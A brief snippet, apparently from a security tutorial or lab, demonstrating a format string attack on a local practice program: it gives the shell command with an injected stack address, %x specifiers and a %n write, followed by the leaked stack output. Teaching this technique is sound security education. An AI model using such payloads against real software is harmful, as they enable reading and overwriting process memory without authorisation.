Format string attack with printf
We can do a format string attack in the following way:
$ ./program.out $(echo -en ‘\xa8\xd1\xff\xff’)%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n
Address of name: ffffd1ac, secret: ffffd1a8
ffffd849.ffffd1a8.565561b7.3.0.0.ffffd684.f7d6e70c.f7feec36…